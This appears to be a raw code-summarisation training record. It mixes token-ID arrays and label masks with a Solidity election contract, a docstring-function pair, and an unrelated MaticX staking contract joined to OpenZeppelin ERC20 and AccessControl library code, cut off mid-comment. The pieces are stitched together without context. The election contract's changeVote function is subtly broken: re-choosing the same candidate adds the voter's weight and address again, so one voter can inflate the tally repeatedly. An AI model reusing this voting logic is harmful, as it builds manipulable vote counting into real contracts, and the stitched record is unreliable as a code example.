[ 1, 225, 1758, 63, 23, 6362, 65, 1071, 302, 3321, 67, 2316, 67, 13277, 31, 4202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.7.0 <0.9.0; /** * @title Election * @dev Implements voting process */ contract Election { bytes32[] public CandidateNames; struct Voter { uint weight; // weight is accumulated by delegation bool voted; // if true, that person already voted uint vote; // index of the voted candidate uint voteExpiry; // expiryTimestamp after which voter cannot vote } mapping(address => Voter) public voters; struct Candidate { // If you can limit the length to a certain number of bytes, // always use one of bytes1 to bytes32 because they are much cheaper bytes32 name; // short name (up to 32 bytes) uint voteCount; // number of accumulated votes address[] votersList; } address public chairperson; Candidate[] public candidates; /** * @dev Create a new election to choose one of 'Donald Trump' and 'Joe Biden'. */ constructor() { CandidateNames.push(bytes32("Donald Trump")); CandidateNames.push(bytes32("Joe Biden")); chairperson = msg.sender; voters[chairperson].weight = 1; for (uint i = 0; i < CandidateNames.length; i++) { // 'Candidate({...})' creates a temporary // Candidate object and 'candidates.push(...)' // appends it to the end of 'candidates'. candidates.push(Candidate({ name: CandidateNames[i], voteCount: 0, votersList: new address[](0) })); } } /** * @dev Give 'voter' the right to vote on this election. May only be called by 'chairperson'. * @param voter address of voter */ function giveRightToVote(address voter) public { require( msg.sender == chairperson, "Only chairperson can give right to vote." ); require( !voters[voter].voted, "The voter already voted." ); require(voters[voter].weight == 0); voters[voter].weight = 1; } /** * @dev Give your vote to candidate 'JoeBiden' or 'DonaldTrump'. * @param candidateIndex index of candidate in the candidates array */ function vote(uint candidateIndex) public { require(candidateIndex < candidates.length, "user can choose either 0 or 1 only"); Voter storage voter = voters[msg.sender]; require(voter.weight != 0, "Has no right to vote"); require(!voter.voted, "Already voted."); voter.voted = true; voter.vote = candidateIndex; voter.voteExpiry = block.timestamp + (2 * 1 days); // it will expire after 2 days // If 'candidate' is out of the range of the array, // this will throw automatically and revert all // changes. candidates[candidateIndex].voteCount += voter.weight; // add voteCount of new candidate candidates[candidateIndex].votersList.push(msg.sender); // add voter to new candidate } // remove an element from voterList array of the candidates array function remove(uint _cindex, uint _index) internal { require(_cindex < candidates.length, "index out of bound for candidates"); require(_index < candidates[_cindex].votersList.length, "index out of bound for voterList"); for (uint i = _index; i < candidates[_cindex].votersList.length - 1; i++) { candidates[_cindex].votersList[i] = candidates[_cindex].votersList[i + 1]; } candidates[_cindex].votersList.pop(); } /** * @dev Voter can change its decision after voting once but before voteExpiry time * @param candidateIndex index of candidate in the candidates array */ function changeVote(uint candidateIndex) public { require(candidateIndex < candidates.length, "user can choose either 0 or 1 only"); Voter storage voter = voters[msg.sender]; require(voter.weight != 0, "Has no right to vote"); require(voter.voted, "voter has not voted once."); require(block.timestamp <= voter.voteExpiry, "Time expired for vote change"); voter.vote = candidateIndex; // If 'candidate' is out of the range of the array, // this will throw automatically and revert all // changes. for (uint i = 0; i < CandidateNames.length; i++) { if(i == candidateIndex){ candidates[i].voteCount += voter.weight; candidates[i].votersList.push(msg.sender); }else{ for (uint v = 0; v < candidates[i].votersList.length; v++){ if(candidates[i].votersList[v] == msg.sender){ remove(i, v); // remove voter address from votersList candidates[i].voteCount -= voter.weight; // decrease voteCount by voter.weight } } } } } /** * @dev Computes the winning candidate taking all previous votes into account. * @return winningCandidate_ name of winning candidate in the candidates array */ function winningCandidate() public view returns (bytes32 winningCandidate_) { uint winningVoteCount = 0; for (uint c = 0; c < candidates.length; c++) { if (candidates[c].voteCount > winningVoteCount) { winningVoteCount = candidates[c].voteCount; winningCandidate_ = candidates[c].name; } } } /** * @return voteCount total vote, how many vote for Trump and how many vote for Joe Biden */ function getTotalVoteCountForCandidate(uint candidateIndex) public view returns(uint voteCount) { require(candidateIndex < candidates.length, "user can choose either 0 or 1 only"); return candidates[candidateIndex].voteCount; } /** * @return votersList list accounts vote for Trump, and list account vote for Joe Biden */ function getVoterListForCandidate(uint candidateIndex) public view returns(address[] memory votersList) { require(candidateIndex < candidates.length, "user can choose either 0 or 1 only"); return candidates[candidateIndex].votersList; } /** * @return voteStatus whether the voter has voted or not */ function isVoted(address voterAddress) public view returns(bool voteStatus) { return voters[voterAddress].voted; } }
* @return voteCount total vote, how many vote for Trump and how many vote for Joe Biden/
function getTotalVoteCountForCandidate(uint candidateIndex) public view returns(uint voteCount) { require(candidateIndex < candidates.length, "user can choose either 0 or 1 only"); return candidates[candidateIndex].voteCount; }
2,575,762
[ 1, 2463, 12501, 1380, 2078, 12501, 16, 3661, 4906, 12501, 364, 840, 2801, 471, 3661, 4906, 12501, 364, 804, 15548, 605, 17951, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 12831, 19338, 1380, 1290, 11910, 12, 11890, 5500, 1016, 13, 1071, 1476, 1135, 12, 11890, 12501, 1380, 13, 203, 565, 288, 203, 3639, 2583, 12, 19188, 1016, 411, 7965, 18, 2469, 16, 315, 1355, 848, 9876, 3344, 374, 578, 404, 1338, 8863, 203, 3639, 327, 7965, 63, 19188, 1016, 8009, 25911, 1380, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "./interfaces/IValidatorShare.sol"; import "./interfaces/IValidatorRegistry.sol"; import "./interfaces/IStakeManager.sol"; import "./interfaces/IMaticX.sol"; contract MaticX is IMaticX, ERC20Upgradeable, AccessControlUpgradeable, PausableUpgradeable { event SubmitEvent(address indexed _from, uint256 _amount); event DelegateEvent( uint256 _amountDelegated ); event RequestWithdrawEvent(address indexed _from, uint256 _amount); event ClaimWithdrawalEvent( address indexed _from, uint256 _amountClaimed ); event RestakeEvent(address indexed _from, uint256 _validatorId, uint256 amountRestaked, uint256 liquidReward); using SafeERC20Upgradeable for IERC20Upgradeable; IValidatorRegistry public override validatorRegistry; IStakeManager public stakeManager; FeeDistribution public override entityFees; string public override version; // address to accrue revenue address public treasury; // address to cover for funds insurance. address public override insurance; address public override token; address public proposed_manager; address public manager; /// @notice Mapping of all user ids with withdraw requests. mapping(address => WithdrawalRequest[]) private userWithdrawalRequests; /** * @param _validatorRegistry - Address of the validator registry * @param _stakeManager - Address of the stake manager * @param _token - Address of matic token on Ethereum Mainnet * @param _treasury - Address of the treasury * @param _insurance - Address of the insurance */ function initialize( address _validatorRegistry, address _stakeManager, address _token, address _manager, address _treasury, address _insurance ) external override initializer { __AccessControl_init(); __Pausable_init(); __ERC20_init("Liquid Staking Matic Test", "tMaticX"); _setupRole(DEFAULT_ADMIN_ROLE, _manager); manager = _manager; proposed_manager = address(0); validatorRegistry = IValidatorRegistry(_validatorRegistry); stakeManager = IStakeManager(_stakeManager); treasury = _treasury; token = _token; insurance = _insurance; entityFees = FeeDistribution(80, 20); } /** * @dev Send funds to MaticX contract and mints MaticX to msg.sender * @notice Requires that msg.sender has approved _amount of MATIC to this contract * @param _amount - Amount of MATIC sent from msg.sender to this contract * @return Amount of MaticX shares generated */ function submit(uint256 _amount) external override whenNotPaused returns (uint256) { require(_amount > 0, "Invalid amount"); IERC20Upgradeable(token).safeTransferFrom( msg.sender, address(this), _amount ); (uint256 amountToMint,,) = convertMaticToMaticX(_amount); _mint(msg.sender, amountToMint); emit SubmitEvent(msg.sender, _amount); uint256 preferredValidatorId = validatorRegistry.getPreferredValidatorId(); address validatorShare = stakeManager.getValidatorContract(preferredValidatorId); buyVoucher( validatorShare, _amount, 0 ); emit DelegateEvent(_amount); return amountToMint; } function safeApprove() external { IERC20Upgradeable(token).safeApprove( address(stakeManager), type(uint256).max ); } /** * @dev Stores users request to withdraw into WithdrawalRequest struct * @param _amount - Amount of maticX that is requested to withdraw */ function requestWithdraw(uint256 _amount) external override whenNotPaused { require(_amount > 0, "Invalid amount"); (uint256 totalAmount2WithdrawInMatic,,) = convertMaticXToMatic(_amount); uint256 leftAmount2WithdrawInMatic = totalAmount2WithdrawInMatic; uint256 totalDelegated = getTotalStakeAcrossAllValidators(); require(totalDelegated >= totalAmount2WithdrawInMatic, "Too much to withdraw"); uint256[] memory validators = validatorRegistry.getValidators(); for (uint256 idx = 0; idx < validators.length; idx++) { uint256 validatorId = validators[idx]; address validatorShare = stakeManager.getValidatorContract(validatorId); (uint256 validatorBalance, ) = IValidatorShare(validatorShare).getTotalStake(address(this)); uint256 amount2WithdrawFromValidator = (validatorBalance <= leftAmount2WithdrawInMatic) ? validatorBalance : leftAmount2WithdrawInMatic; sellVoucher_new( validatorShare, amount2WithdrawFromValidator, type(uint256).max ); userWithdrawalRequests[msg.sender].push(WithdrawalRequest( IValidatorShare(validatorShare).unbondNonces(address(this)), stakeManager.epoch() + stakeManager.withdrawalDelay(), validatorShare ) ); leftAmount2WithdrawInMatic -= amount2WithdrawFromValidator; if (leftAmount2WithdrawInMatic == 0) break; } _burn(msg.sender, _amount); emit RequestWithdrawEvent(msg.sender, _amount); } /** * @dev Claims tokens from validator share and sends them to the * user if his request is in the userWithdrawalRequests */ function claimWithdrawal(uint256 _idx) external override whenNotPaused { uint256 amountToClaim = 0; uint256 balanceBeforeClaim = IERC20Upgradeable(token).balanceOf(address(this)); WithdrawalRequest[] storage userRequests = userWithdrawalRequests[msg.sender]; require(stakeManager.epoch() >= userRequests[_idx].requestEpoch, "Not able to claim yet"); unstakeClaimTokens_new( userRequests[_idx].validatorAddress, userRequests[_idx].validatorNonce ); // swap with the last item and pop it. userRequests[_idx] = userRequests[userRequests.length - 1]; userRequests.pop(); amountToClaim = IERC20Upgradeable(token).balanceOf(address(this)) - balanceBeforeClaim; IERC20Upgradeable(token).safeTransfer(msg.sender, amountToClaim); emit ClaimWithdrawalEvent(msg.sender, amountToClaim); } /** * @dev Restakes all validator rewards */ function restakeAll() external override whenNotPaused { uint256[] memory validators = validatorRegistry.getValidators(); for (uint256 idx = 0; idx < validators.length; idx++) { uint256 validatorId = validators[idx]; restake(validatorId); } } /** * @dev Restakes all validator rewards */ function restake(uint256 _validatorId) public override whenNotPaused { address validatorShare = stakeManager.getValidatorContract(_validatorId); (uint256 amountRestaked, uint256 liquidReward) = restake(validatorShare); emit RestakeEvent(msg.sender, _validatorId, amountRestaked, liquidReward); } /** * @dev Retrieves all withdrawal requests initiated by the given address * @param _address - Address of an user * @return userWithdrawalRequests array of user withdrawal requests */ function getUserWithdrawalRequests(address _address) external override view returns (WithdrawalRequest[] memory) { return userWithdrawalRequests[_address]; } /** * @dev Retrieves MATIC amount of a given withdrawal request * @param _address - Address of an user * @return _idx index of the withdrawal request */ function getMaticAmountOfUserWithdrawalRequest(address _address, uint256 _idx) external override view returns (uint256) { WithdrawalRequest memory userRequest = userWithdrawalRequests[_address][_idx]; IValidatorShare validatorShare = IValidatorShare(userRequest.validatorAddress); IValidatorShare.DelegatorUnbond memory unbond = validatorShare.unbonds_new(address(this), userRequest.validatorNonce); return unbond.shares; } /** * @dev Flips the pause state */ function togglePause() external override onlyRole(DEFAULT_ADMIN_ROLE) { paused() ? _unpause() : _pause(); } //////////////////////////////////////////////////////////// ///// /// ///// ***ValidatorShare API*** /// ///// /// //////////////////////////////////////////////////////////// /** * @dev API for delegated buying vouchers from validatorShare * @param _validatorShare - Address of validatorShare contract * @param _amount - Amount of MATIC to use for buying vouchers * @param _minSharesToMint - Minimum of shares that is bought with _amount of MATIC * @return Actual amount of MATIC used to buy voucher, might differ from _amount because of _minSharesToMint */ function buyVoucher( address _validatorShare, uint256 _amount, uint256 _minSharesToMint ) private returns (uint256) { uint256 amountSpent = IValidatorShare(_validatorShare).buyVoucher( _amount, _minSharesToMint ); return amountSpent; } /** * @dev API for delegated selling vouchers from validatorShare * @param _validatorShare - Address of validatorShare contract * @param _claimAmount - Amount of MATIC to claim * @param _maximumSharesToBurn - Maximum amount of shares to burn */ function sellVoucher_new( address _validatorShare, uint256 _claimAmount, uint256 _maximumSharesToBurn ) private { IValidatorShare(_validatorShare).sellVoucher_new( _claimAmount, _maximumSharesToBurn ); } /** * @dev API for delegated unstaking and claiming tokens from validatorShare * @param _validatorShare - Address of validatorShare contract * @param _unbondNonce - Unbond nonce */ function unstakeClaimTokens_new( address _validatorShare, uint256 _unbondNonce ) private { IValidatorShare(_validatorShare).unstakeClaimTokens_new(_unbondNonce); } /** * @dev API for delegated restaking rewards to validatorShare * @param _validatorShare - Address of validatorShare contract */ function restake(address _validatorShare) private returns (uint256, uint256) { return IValidatorShare(_validatorShare).restake(); } /** * @dev API for getting total stake of this contract from validatorShare * @param _validatorShare - Address of validatorShare contract * @return Total stake of this contract and MATIC -> share exchange rate */ function getTotalStake(IValidatorShare _validatorShare) public view override returns (uint256, uint256) { return _validatorShare.getTotalStake(address(this)); } //////////////////////////////////////////////////////////// ///// /// ///// ***Helpers & Utilities*** /// ///// /// //////////////////////////////////////////////////////////// /** * @dev Helper function for that returns total pooled MATIC * @return Total pooled MATIC */ function getTotalStakeAcrossAllValidators() public view override returns (uint256) { uint256 totalStake; uint256[] memory validators = validatorRegistry.getValidators(); for (uint256 i = 0; i < validators.length; i++) { address validatorShare = stakeManager.getValidatorContract(validators[i]); (uint256 currValidatorShare, ) = getTotalStake( IValidatorShare(validatorShare) ); totalStake += currValidatorShare; } return totalStake; } /** * @dev Function that calculates total pooled Matic * @return Total pooled Matic */ function getTotalPooledMatic() public view override returns (uint256) { uint256 totalStaked = getTotalStakeAcrossAllValidators(); return totalStaked; } /** * @dev Function that converts arbitrary maticX to Matic * @param _balance - Balance in maticX * @return Balance in Matic, totalShares and totalPooledMATIC */ function convertMaticXToMatic(uint256 _balance) public view override returns ( uint256, uint256, uint256 ) { uint256 totalShares = totalSupply(); totalShares = totalShares == 0 ? 1 : totalShares; uint256 totalPooledMATIC = getTotalPooledMatic(); totalPooledMATIC = totalPooledMATIC == 0 ? 1 : totalPooledMATIC; uint256 balanceInMATIC = (_balance * totalPooledMATIC) / totalShares; return (balanceInMATIC, totalShares, totalPooledMATIC); } /** * @dev Function that converts arbitrary Matic to maticX * @param _balance - Balance in Matic * @return Balance in maticX, totalShares and totalPooledMATIC */ function convertMaticToMaticX(uint256 _balance) public view override returns ( uint256, uint256, uint256 ) { uint256 totalShares = totalSupply(); totalShares = totalShares == 0 ? 1 : totalShares; uint256 totalPooledMatic = getTotalPooledMatic(); totalPooledMatic = totalPooledMatic == 0 ? 1 : totalPooledMatic; uint256 balanceInMaticX = (_balance * totalShares) / totalPooledMatic; return (balanceInMaticX, totalShares, totalPooledMatic); } //////////////////////////////////////////////////////////// ///// /// ///// ***Setters*** /// ///// /// //////////////////////////////////////////////////////////// /** * @dev Function that sets entity fees * @notice Callable only by manager * @param _treasuryFee - Treasury fee in % * @param _insuranceFee - Insurance fee in % */ function setFees( uint8 _treasuryFee, uint8 _insuranceFee ) external override onlyRole(DEFAULT_ADMIN_ROLE) { require( _treasuryFee + _insuranceFee == 100, "sum(fee) is not equal to 100" ); entityFees.treasury = _treasuryFee; entityFees.insurance = _insuranceFee; } /** * @dev Function that sets new manager address * @notice Callable only by manager * @param _address - New manager address */ function setTreasuryAddress(address _address) external onlyRole(DEFAULT_ADMIN_ROLE) { treasury = _address; } /** * @dev Function that sets new insurance address * @notice Callable only by manager * @param _address - New insurance address */ function setInsuranceAddress(address _address) external override onlyRole(DEFAULT_ADMIN_ROLE) { insurance = _address; } /** * @dev Function that appoints a new manager address * @notice Callable only by manager * @param _address - New manager address */ function proposeManagerAddress(address _address) external onlyRole(DEFAULT_ADMIN_ROLE) { proposed_manager = _address; } function acceptProposedManagerAddress() external { require(proposed_manager != address(0) && msg.sender == proposed_manager, "You are not the proposed manager"); _revokeRole(DEFAULT_ADMIN_ROLE, manager); _setupRole(DEFAULT_ADMIN_ROLE, proposed_manager); manager = proposed_manager; proposed_manager = address(0); } /** * @dev Function that sets new validator registry address * @notice Only callable by manager * @param _address - New validator registry address */ function setValidatorRegistryAddress(address _address) external override onlyRole(DEFAULT_ADMIN_ROLE) { validatorRegistry = IValidatorRegistry(_address); } /** * @dev Function that sets the new version * @param _version - New version that will be set */ function setVersion(string calldata _version) external override onlyRole(DEFAULT_ADMIN_ROLE) { version = _version; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20Upgradeable.sol"; import "./extensions/IERC20MetadataUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[45] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function 